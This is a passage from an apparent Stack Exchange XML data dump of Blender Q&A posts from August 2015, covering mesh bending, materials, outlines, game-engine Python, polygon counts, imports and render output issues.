  <row Id="36547" PostTypeId="1" CreationDate="2015-08-27T17:23:40.000" Score="1" ViewCount="140" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PnpMa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PnpMa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the simplest way to bend a plain rod (subdivided cylinder) and give it a U-shape (for instance) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a solution: As suggested by cegaton best option is using Warp (not Bend) with cursor on symmetry axis (distance gives radius) and 90° offset. Straight plain rod is changed to round rod with no deformation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Mu1jK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mu1jK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16532" LastEditorUserId="16532" LastEditDate="2015-08-31T17:49:21.250" LastActivityDate="2015-08-31T17:49:21.250" Title="Which is the best way to bend a rod" Tags="&lt;mesh&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-08-27T17:45:45.710" ContentLicense="CC BY-SA 3.0" />
  <row Id="36548" PostTypeId="2" ParentId="36544" CreationDate="2015-08-27T17:31:52.343" Score="5" Body="&lt;p&gt;Thanks Denis! (I can't comment cause I'm new.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I've got a good solution going:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/P377s.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/P377s.png&quot; alt=&quot;Eh? Eh?&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the object selected, I went to the the Object Data tab of the Properties Panel, and unchecked Auto Smooth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, like Denis suggested, I added an Edge Split modifier. I checked Edge Angle and set it to 180 degrees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will work for me. Does anybody have any other suggestions for future reference?&lt;/p&gt;&#xA;" OwnerUserId="16734" LastActivityDate="2015-08-27T17:31:52.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36549" PostTypeId="1" AcceptedAnswerId="36574" CreationDate="2015-08-27T17:51:41.587" Score="0" ViewCount="126" Body="&lt;p&gt;Here in this documentation: &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_3/bge.types.KX_GameObject.html&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/api/blender_python_api_2_75_3/bge.types.KX_GameObject.html&lt;/a&gt;&#xA;it says for the attribute &lt;em&gt;orientation&lt;/em&gt;:&#xA;&quot;[...]On write: local orientation, on read: world orientation.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does that mean exactly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also it says that the attribute is deprecated since version use localOrientation and worldOrientation. Which ones do I use now?&lt;/p&gt;&#xA;" OwnerUserId="11484" LastActivityDate="2015-08-28T05:11:05.070" Title="BGE: KX_GameObject Attribute description unclear" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36550" PostTypeId="1" CreationDate="2015-08-27T18:54:09.333" Score="3" ViewCount="190" Body="&lt;p&gt;Another way to put it is that I want to create a material that will do the cropping for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I apply this shader to a cube in the middle of the shot, then my render will have a cube-shaped block of transparency in the middle of the shot, even if there are objects behind the cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone provide me a pointer on this? I'm new to nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I'm using Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT EDIT: Thank you for your answer, Denis. I realized today that there's one thing missing from the solution you provided. I also need the object to cast shadows and show up in reflections. I can't quite get my head around to make that happen. Any help out there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT EDIT EDIT: Figured it out!&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Npdnz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Npdnz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16736" LastEditorUserId="16740" LastEditDate="2015-08-29T07:07:43.410" LastActivityDate="2015-08-29T07:07:43.410" Title="Material that shows up as alpha channel on render, but shows up in reflections" Tags="&lt;cycles-render-engine&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-08-27T19:50:40.297" ContentLicense="CC BY-SA 3.0" />
  <row Id="36551" PostTypeId="1" AcceptedAnswerId="36613" CreationDate="2015-08-27T18:59:00.580" Score="0" ViewCount="285" Body="&lt;p&gt;I am trying to get fonts rendered with different colors, but bgl.glColor4f (or any other variant of glColor) doesn't apply the color that I set with it. Please see &lt;a href=&quot;https://github.com/eugenschindler/blender-examples/tree/master/HUDText&quot; rel=&quot;nofollow&quot;&gt;https://github.com/eugenschindler/blender-examples/tree/master/HUDText&lt;/a&gt; for a reproduction of the problem (Blend file, Python script, and font).&#xA;According to other resources I found online, this example code should work, but I can't get it to work.&#xA;I've used Blender 2.73 and 2.75 and in both it doesn't work.&#xA;Does anybody have an idea what's going wrong?&lt;/p&gt;&#xA;" OwnerUserId="10998" LastActivityDate="2015-08-28T20:36:32.077" Title="Color is not applied when drawing fonts in BGE with blf and bgl" Tags="&lt;game-engine&gt;&lt;opengl&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="36552" PostTypeId="2" ParentId="35805" CreationDate="2015-08-27T19:14:19.097" Score="1" Body="&lt;p&gt;I have been able to achieve this in the cycles renderer using this node setup for the outline object's material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/Gki89BC.png&quot; alt=&quot;blender internal&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't been able to figure out a way to do this with blender internal renderer, but you can use the opengl render mode to pull it off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create an object and give it a material&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Duplicate the object&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enter edit mode, select all vertices&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press alt+s and scale the object up slightly&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press w and flip the normals&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to object mode and delete the material&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Give it a new material and make it shadeless black&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the 3d window, press n to bring up the right panel&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to the shading tab and enable 'Backface Culling'&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The outline object should now be just an outline&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to the display tab and enable 'Only Render'&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Render the movie&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure your settings are correct in the render panel (frame rate, etc)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to top left corner of blender's user interface and click 'Render'&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select 'OpenGL Render Animation'&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="16738" LastEditorUserId="599" LastEditDate="2015-08-27T19:56:14.427" LastActivityDate="2015-08-27T19:56:14.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36553" PostTypeId="2" ParentId="36550" CreationDate="2015-08-27T19:36:06.593" Score="1" Body="&lt;p&gt;&lt;strong&gt;Cycles Render&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you have to do is to add a &lt;strong&gt;Holdout&lt;/strong&gt; node to the material output on the masking object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LsTLF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LsTLF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blender Render&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable &lt;strong&gt;Transparency&lt;/strong&gt; on the material of the masking object, set transparency method to &lt;strong&gt;Mask&lt;/strong&gt; and change &lt;strong&gt;Alpha&lt;/strong&gt; to &lt;strong&gt;0&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1lY6h.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1lY6h.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-08-27T19:46:54.983" LastActivityDate="2015-08-27T19:46:54.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36554" PostTypeId="2" ParentId="35805" CreationDate="2015-08-27T20:02:35.313" Score="1" Body="&lt;p&gt;The best way to achieve this method is the Solidify Shell method of outlining. It is the same concept as Antonio Garcia's answer, but is more dynamic as it is done through a modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a guide: &lt;a href=&quot;http://blendernpr.org/solidify-modifier-contouroutline/&quot; rel=&quot;nofollow&quot;&gt;http://blendernpr.org/solidify-modifier-contouroutline/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And a sample file download: &lt;a href=&quot;http://blendernpr.org/toonery/files/SolidifyOutline.blend&quot; rel=&quot;nofollow&quot;&gt;http://blendernpr.org/toonery/files/SolidifyOutline.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2015-08-27T20:02:35.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36555" PostTypeId="1" CreationDate="2015-08-27T20:23:47.073" Score="1" ViewCount="120" Body="&lt;p&gt;&quot;Is it possible to convert a previously appended object into a linked object. So as to retain the animation on the appended object after converting or replacing it with the linked proxy version?&quot;&lt;/p&gt;&#xA;" OwnerUserId="16619" LastActivityDate="2015-08-27T20:23:47.073" Title="Coverting an appended object into a linked object?" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;linked-data&gt;&lt;append&gt;&lt;conversion&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36556" PostTypeId="2" ParentId="36546" CreationDate="2015-08-27T21:49:55.547" Score="1" Body="&lt;p&gt;You need to apply the modifier before you can edit it in edit mode. Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="16397" LastActivityDate="2015-08-27T21:49:55.547" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36557" PostTypeId="1" AcceptedAnswerId="36562" CreationDate="2015-08-27T21:53:24.130" Score="1" ViewCount="1228" Body="&lt;p&gt;I made a short intro and it is fine, but when I press (play) the animation freezes very often. I also tried to render the animation hoping that it would run smoothly but the problem didn't get better.&lt;/p&gt;&#xA;" OwnerUserId="16743" LastEditorUserId="2217" LastEditDate="2015-08-28T01:12:55.300" LastActivityDate="2015-08-28T01:12:55.300" Title="anmiation freezes while playing" Tags="&lt;animation&gt;&lt;performance&gt;" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="36558" PostTypeId="1" CreationDate="2015-08-27T21:58:08.637" Score="1" ViewCount="309" Body="&lt;p&gt;Hello I need to know how to make a &quot;playblast&quot; in Blender, (I.E.: for review by my director). I'm almost sure it will be named differently in Blender, something more sensible like &quot;preview render&quot; or &quot;quickest basic render&quot; or &quot;screen based capture&quot; or something. &#xA;  In any case I need a way to preview my animation and camera work in it's proper timing before going through to the final render. And I'd also like a way that can render a video with the skeleton visible etc. that can be sent to my director elsewhere&lt;/p&gt;&#xA;" OwnerUserId="16619" LastActivityDate="2015-08-27T21:58:08.637" Title="how to playblast camera in Blender?" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;camera&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2015-08-28T00:42:51.997" ContentLicense="CC BY-SA 3.0" />
  <row Id="36559" PostTypeId="1" AcceptedAnswerId="36560" CreationDate="2015-08-27T22:50:45.750" Score="2" ViewCount="247" Body="&lt;p&gt;So I made a few models for a project I'm working on and I decided I wanted to certain parts individually and then import them in as a .obj file. So I did that and then when I tried to go into edit mode I could only edit one of objects. Also I noticed that, when highlighted the objects have different shades of orange. I would really appreciate any help I can get to solve this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Nova&lt;/p&gt;&#xA;" OwnerUserId="11041" LastActivityDate="2015-08-28T01:13:42.917" Title="When I Import Two Models Into Blender I Can Only Edit One at a Time" Tags="&lt;import&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36560" PostTypeId="2" ParentId="36559" CreationDate="2015-08-27T23:06:27.500" Score="3" Body="&lt;h2&gt;Editing multiple objects&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;First of all, you &lt;em&gt;can&lt;/em&gt; only edit one object at a time.  Normally if you want to edit multiple objects at a time you will have to join them with &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;J&lt;/kbd&gt;.  However there is an addon called &lt;a href=&quot;https://github.com/antoni4040/MultiEdit-Addon&quot; rel=&quot;nofollow noreferrer&quot;&gt;multi-edit&lt;/a&gt; which allows you to edit multiple objects simultaneously.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The &lt;em&gt;active object&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When you go into edit mode with more than one object Blender will keep all other objects selected, but will only allow you to edit the geometry of the &lt;em&gt;active object&lt;/em&gt;.  The active object is marked by a slightly lighter orange border than other selected objects.  It is typically the object which you single selected last.  If you do a group select (such as box select with &lt;kbd&gt;B&lt;/kbd&gt; or brush select with &lt;kbd&gt;C&lt;/kbd&gt;) the active object does not change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out &lt;a href=&quot;https://blender.stackexchange.com/questions/23554/why-is-one-face-on-my-model-gray-instead-of-orange-in-edit-mode/23555#23555&quot;&gt;this post&lt;/a&gt; for more on the active object.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2015-08-28T01:13:42.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36562" PostTypeId="2" ParentId="36557" CreationDate="2015-08-28T00:23:30.893" Score="1" Body="&lt;p&gt;Your scene doesn't have any particular issue. I think that on a powerful pc it would render smoothly. The freezing of the viewport is an effect of a low FPS count as your computer takes a while to calculate the position of the polygons from the simulation and render them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue with the &quot;rendered&quot; version is probably caused by the usage of the AVI raw format that is not perfectly compatible with your video player&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bZzdu.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bZzdu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By exporting to another video format and waiting some time, you should obtain something like this without further adjustment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bpLmM.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bpLmM.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Things that may affect 3D viewport performance:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Number of polygons:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Snhsp.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Snhsp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While your scene is composed by only two object, your polycount is surely considerable. You may try to reduce the resolution of the text object, expecially in the areas where the mesh is more dense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BkmWf.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BkmWf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Simulations&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You don't need to setup another level of collision (unless you are trying to achieve a particular effect) as the explode modifier is based on the particles system which have is built in phyiscs options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VgLnG.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VgLnG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Number of particles&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CO0IWm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CO0IWm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In this particular case, the more benefit cames from reducing the polycount. By roughly applying a 95% decimation modifier you can see how the preview gains about 25fps, making it usable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Sd9Ft.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sd9Ft.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9x0aR.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9x0aR.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastActivityDate="2015-08-28T00:23:30.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36563" PostTypeId="1" AcceptedAnswerId="36576" CreationDate="2015-08-28T01:04:34.370" Score="0" ViewCount="3117" Body="&lt;p&gt;Firstly, I was surprised I did not find a thread like that here(I hope I did not miss it.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what is the right number of polygon count or better triangle count, since this is what BGE renders from what I've read. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is there a max tris count number that I should not exceed?&lt;/li&gt;&#xA;&lt;li&gt;Is there a default tris count number for&#xA;small(ornaments)/medium(furnitures)/big(houses/terrains) that I&#xA;should be aware of? Experienced BGE users should propably have an&#xA;idea. Or do I keep checking till the fps drops and try to dissolve&#xA;meshes afterwards?&lt;/li&gt;&#xA;&lt;li&gt;Objects in different layers or stand-by scenes that might appear&#xA;briefly or not appear at all in the game affect the fps? For example,&#xA;meshes in different layers that replace other meshes through&#xA;actuators or meshes in overlay scenes that get added briefly and are&#xA;removed/suspended afterwards.&lt;/li&gt;&#xA;&lt;li&gt;And at last. Objects with dynamic physics or objects with animations&#xA;or characters with armatures or in general objects that interact with&#xA;one way or another, do they need lower poly count than a similar one&#xA;that would not act like the above and let's say would remain static&#xA;and act as a decorative level asset?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I really think there is a connection in the 4 above question-points. If you doubt it I can split them to more questions. My search so far has shown that there might not be a definite answer but more experienced users can judge better.&lt;/p&gt;&#xA;" OwnerUserId="13866" LastActivityDate="2015-08-28T05:39:22.050" Title="What is the right polygon count?" Tags="&lt;modeling&gt;&lt;game-engine&gt;&lt;physics&gt;&lt;performance&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ClosedDate="2015-08-28T14:06:03.797" ContentLicense="CC BY-SA 3.0" />
  <row Id="36564" PostTypeId="1" CreationDate="2015-08-28T01:05:51.977" Score="5" ViewCount="353" Body="&lt;p&gt;I am trying to load a 9.6Mb .svg file into blender and it is still working on it after 45 min.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hardware is a duel Xeon 32 core workstation, Titan X video, 128Gb Ram, 1Tb SSD &lt;/p&gt;&#xA;" OwnerUserId="16745" LastEditorUserId="16745" LastEditDate="2015-08-28T01:11:52.210" LastActivityDate="2015-08-28T01:24:06.977" Title="How long should a 10mb .svg import file take to load in Blender?" Tags="&lt;mesh&gt;&lt;import&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ClosedDate="2015-08-28T06:19:46.260" ContentLicense="CC BY-SA 3.0" />
  <row Id="36565" PostTypeId="2" ParentId="33134" CreationDate="2015-08-28T01:15:26.153" Score="1" Body="&lt;p&gt;If you must use Blender Render, you can set up a glass like material by enabling transparency and than play with the settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Raytrace options to get reflection from the background&lt;/li&gt;&#xA;&lt;li&gt;IOR about 1.450 (it depends on what kind of glass you are looking for)&lt;/li&gt;&#xA;&lt;li&gt;High value of specular hardness (for a clean look, use a map if you want it dirty-looking)&lt;/li&gt;&#xA;&lt;li&gt;High value of &quot;depth&quot; (nummber of light bounces) to get more reflections&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CuPPe.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CuPPe.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is absolutely vital to have something to reflect, so you must set up a scene, or at least an non uniform background &amp;amp;/or lightening, or your object won't look like if they were made of glass. Don't focus only on the single material but to the whole scene.&lt;/p&gt;&#xA;" OwnerUserId="15140" LastActivityDate="2015-08-28T01:15:26.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36566" PostTypeId="2" ParentId="36564" CreationDate="2015-08-28T01:24:06.977" Score="3" Body="&lt;p&gt;It just finished after 90 min, it is a very complex file so I should have been more patient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also notice that although Blender will use most of my cores for other tasks, when doing this import it only used 1 core, any way to change this setting?&lt;/p&gt;&#xA;" OwnerUserId="16745" LastActivityDate="2015-08-28T01:24:06.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36567" PostTypeId="1" CreationDate="2015-08-28T01:45:37.927" Score="0" ViewCount="456" Body="&lt;p&gt;I have done texture painting before a few times, so I'm not totally unfamiliar with it. This time it's just not working and I can't figure what I could be missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a testing file with a simple plane. &#xA;1. UV mapped the model already.&#xA;2. In the Slots tab of Texture Painting switched to Image in Painting mode. Then created newtexture. It seems the recommended size is 2048. &#xA;3. Created its respective Image Texture node and plugged it to the Diffuse node. And left it selected.&#xA;4. Opened same texture in an UV/Image Editor window.&#xA;5. Go in the Texturepaint mode and stroke on the object.&#xA;6. Just in case I saved changes in the UV/Image Editor window.&#xA;Yet nothing happens, nothing changes, basically no changes were registered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="15508" LastEditorUserId="3401" LastEditDate="2015-08-28T03:33:30.447" LastActivityDate="2015-08-28T03:33:30.447" Title="No painting strokes showing when Texture painting" Tags="&lt;texture-painting&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36568" PostTypeId="2" ParentId="36567" CreationDate="2015-08-28T02:19:11.107" Score="1" Body="&lt;p&gt;Never mind!&#xA;It may have been that having the Fill brush, the cursor won't change into that little circle it shows when you use most other brushes, so it must have confused me. Either way, it's all good now :)&lt;/p&gt;&#xA;" OwnerUserId="15508" LastActivityDate="2015-08-28T02:19:11.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36570" PostTypeId="1" CreationDate="2015-08-28T03:02:01.697" Score="2" ViewCount="598" Body="&lt;p&gt;I'm scripting this file that generates an environment containing objects of different masses, shapes, sizes and physics types. I'm having trouble setting the mass, though...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.primitive_plane_add(location=(0,0,-20))&#xA;plane = bpy.data.objects[&quot;Plane&quot;]   &#xA;plane.scale=((200,200,200))&#xA;plane.game.physics_type = 'STATIC'&#xA;plane.static.mass = 20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;^^^plane.static.mass doesn't work and neither does plane.mass. How do I do this/get it to also work for rigid body and soft body objects?&lt;/p&gt;&#xA;" OwnerUserId="15734" LastActivityDate="2015-08-28T10:46:42.843" Title="set mass of objects via python?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;objects&gt;&lt;blender-internal-render-engine&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36571" PostTypeId="1" CreationDate="2015-08-28T03:02:58.310" Score="0" ViewCount="114" Body="&lt;p&gt;My rendered animation output's brightness is way too high in some players but not Windows 10's default player and Blender's play rendered animation. &lt;strong&gt;I think either the codec setting is wrong or Blender's output format is bugged?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firefox, which specifically stated it supports MP4 container with H.264 codec, says the file is &lt;strong&gt;corrupted&lt;/strong&gt; when I tried playing the file in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;s&gt;&lt;strong&gt;Output:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;All extensions&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;24 fps&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Encoding:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tested formats: &lt;strong&gt;All codecs&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Others are default&lt;/s&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Apparently, AVI RAW is the only format that works.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RQhQG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RQhQG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Notice the background color.&lt;/strong&gt; They are marked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have experienced similar problem with other render softwares on my other PC. Is this a universal thing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By request, here is the final frame image I'm rendering: (The sample is low, I know)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/w0Jbx.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/w0Jbx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The background color is #111111. It is precisely correct.&lt;/p&gt;&#xA;" OwnerUserId="16746" LastEditorUserId="16746" LastEditDate="2015-08-28T09:54:51.833" 